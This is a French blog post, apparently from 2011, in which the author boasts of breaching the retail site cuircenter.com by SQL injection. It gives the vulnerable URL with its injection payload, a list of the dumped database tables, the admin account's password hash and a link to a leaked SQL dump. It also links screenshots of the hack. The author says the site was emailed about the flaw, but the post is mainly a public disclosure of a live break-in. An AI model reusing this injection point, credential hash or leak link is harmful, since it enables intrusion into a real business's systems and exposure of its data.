cuircenter

Le site http://cuircenter.com/ connu pour faire partie de la liste des voldemor (http://www.ulinks.fr/13q) viens d'être pirater par moi même. Comment ? Faille sqli & fuite de données :D Allez passons au chose sérieuse.

/*======================================================================================================================================Cuir_Center=======================================*/

BDD: cuircenter  (77)

be_groups
be_sessions
be_users
        admin | 0d25599217fe68eabd282d47ebbca424
cache_hash
cache_imagesizes
cache_md5params
cache_pages
cache_pagesection
cache_typo3temp_log
fe_groups
fe_sessions
static_template
static_territories
static_tsconfig_help
sys_be_shortcuts
sys_domain
sys_filemounts
sys_history
sys_language
sys_language_back
sys_lockedrecords
sys_log
sys_note
sys_preview
sys_products_orders
sys_products_orders_mm_tt_products
sys_refindex
sys_template
sys_workspace
tt_content
tt_content_back
tt_content_tx_gestionmagasins_zon_car_mm
tt_news
tt_news_cat
tt_news_cat_mm
tt_news_related_mm
tt_products
tt_products_back
tt_products_card_payments
tt_products_cat
tt_products_cat_back
tt_products_col
tt_products_col_back
tt_products_exists
tt_products_exists_back
tt_products_finitions
tt_products_motcles
tt_products_motcles_back
tt_products_motcles_mm
tx_gestionmagasins_carte
tx_gestionmagasins_magasin
tx_gestionmagasins_magasin_mag_zon_id_mm
tx_gestionmagasins_zone
tx_gestionmagasins_zone_zon_car_id_mm
tx_impexp_presets
tx_onetimagerotation_base
tx_realurl_chashcache
tx_realurl_errorlog
tx_realurl_pathcache
tx_realurl_redirects
tx_realurl_uniqalias
tx_realurl_urldecodecache
tx_realurl_urlencodecache
tx_rtehtmlarea_acronym
tx_saforms_contact
tx_staticinfotables_hotlist
tx_templavoila_datastructure
tx_templavoila_tmplobj

Voici la BDD en intégralité avec l'user admin pour la Table Be_users pour la suite c'est le lien de la fuite des données, les liens des captures d'écran du hack et le lien de la faille.

Lien:

Faille: http://cuircenter.com/index.php?id=5&tt_products_cat=%272

fuite: http://cuircenter.com/fileadmin/cuircenter_recette.sql

capture:
http://4.bp.blogspot.com/-sHjygC6eAmA/ThRkyTqNarI/AAAAAAAAACk/cNEloP9VBkw/s1600/2011-07-06_143108.png
http://4.bp.blogspot.com/-U3Yy9eHXiSw/ThRkzCGAD1I/AAAAAAAAACo/1GR86gc9_9s/s1600/2011-07-06_114933.png
http://1.bp.blogspot.com/-4IPXe33FT1Q/ThRkz0i6sxI/AAAAAAAAACs/WqayxE4SyuA/s1600/2011-07-06_120615.png
http://3.bp.blogspot.com/-h5Ev4lNA69M/ThRk0T0JC1I/AAAAAAAAACw/7K3k4o5uhr8/s1600/2011-07-06_120648.png
http://2.bp.blogspot.com/-xWhvbHnn7qw/ThRk1oWH7jI/AAAAAAAAAC0/g9mT7NynTIA/s1600/2011-07-06_135734.png

J'ai envoyer un mail pour prévenir de la faille toujours pas de réponse.